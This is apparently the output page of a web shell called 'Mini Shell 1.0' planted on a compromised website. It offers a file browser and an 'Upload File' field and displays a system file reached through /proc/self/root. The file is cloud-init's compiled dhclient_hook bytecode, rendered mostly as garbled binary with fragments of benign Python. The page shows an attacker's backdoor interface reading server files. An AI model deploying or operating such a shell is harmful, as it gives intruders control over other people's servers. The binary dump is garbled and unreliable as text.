HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/cloudinit/__pycache__/dhclient_hook.cpython-311.pyc
�

܍~c�	��|�dZddlZddlZddlmZddlmZddlmZeje	��Z
dZdZdZ
ee
fZd	�Zd
�Zdd�Zdd�Zdd
�Ze	dkrkddlZe��Ze�ejdd����Zeeeej�d�����Zereje��dSdSdS)z-Run the dhclient hook to record network info.�N)�
atomic_helper)�log)�stagesz
dhclient-hook�up�downc��tj��}tj�|j���d��S)Nzdhclient.hooks)r�Init�os�path�join�paths�get_runpath)�is �9/usr/lib/python3/dist-packages/cloudinit/dhclient_hook.py�_get_hooks_dirrs2����
�
�A�
�7�<�<���+�+�-�-�/?�@�@�@�c��i}|���D]p\}}|�d��s|�d��rA|�dd���dd�����}|||<�q|S)zrGiven info (os.environ), return a dictionary with
    lower case keys for each entry starting with DHCP4_ or new_.�DHCP4_�new_�)�items�
startswith�replace�lower)�info�new_info�k�v�keys     r�_filter_env_valsr s����H��
�
�������1��<�<��!�!�	�Q�\�\�&�%9�%9�	��9�9�X�r�*�*�2�2�6�2�>�>�E�E�G�G�C��H�S�M���Orc��|tvrtd|�dt�����|�t��}|�tj}tj�||dz��}|tkrrtj�|��stj	|��tj|t|����t�d|��dS|tkrPtj�|��r3tj|��t�d|��dSdSdS)NzUnexpected event 'z'. Expected one of: z.jsonzWrote dhclient options in %sz Removed dhclient options file %s)�EVENTS�
ValueErrorrr
�environrr�UP�exists�makedirsr�
write_jsonr �LOG�debug�DOWN�remove)�	interface�event�data_d�env�	hook_files     r�run_hookr2$s+���F����j�<A�E�E�6�6�J�
�
�	
��~��!�!��
�{��j������V�Y��%8�9�9�I���{�{��w�~�~�f�%�%�	 ��K������ ��,<�S�,A�,A�B�B�B��	�	�0�)�<�<�<�<�<�	�$���
�7�>�>�)�$�$�	E��I�i� � � ��I�I�8�)�D�D�D�D�D�
��	E�	Erc��|� tjtt���}|�ddt
���|�dd���|�ttf���|S)	N)�prog�descriptionr.zevent taken on the interface)�help�choicesr-z&the network interface being acted upon)r6)�action)�argparse�ArgumentParser�NAME�__doc__�add_argumentr"�set_defaults�handle_args)�parsers r�
get_parserrA:s���
�~��(�d��H�H�H��
����4�f���������B���������k�2��3�3�3��Mrc�:�t|j|j|���S)zXHandle the Namespace args.
    Takes 'name' as passed by cloud-init main. not used here.)r-r.r/)r2r-r.)�name�argsr/s   rr?r?Hs���d�n�D�J�v�N�N�N�Nr�__main__�)rD�_CI_DHCP_HOOK_DATA_D)r/)NN)N)r<r9r
�	cloudinitrr�loggingr�	getLogger�__name__r)r;r%r+r"rr r2rAr?�sysr@�
parse_args�argvrDr$�get�return_value�exit�rr�<module>rSs���4�3�����	�	�	�	�#�#�#�#�#�#�$�$�$�$�$�$��������g���!�!����	��
��
�d���A�A�A�
���E�E�E�E�,����O�O�O�O��z����J�J�J�
�Z�\�\�F����#�(�1�2�2�,��/�/�D��;��d�2�:�>�>�*@�A�A����L���������������r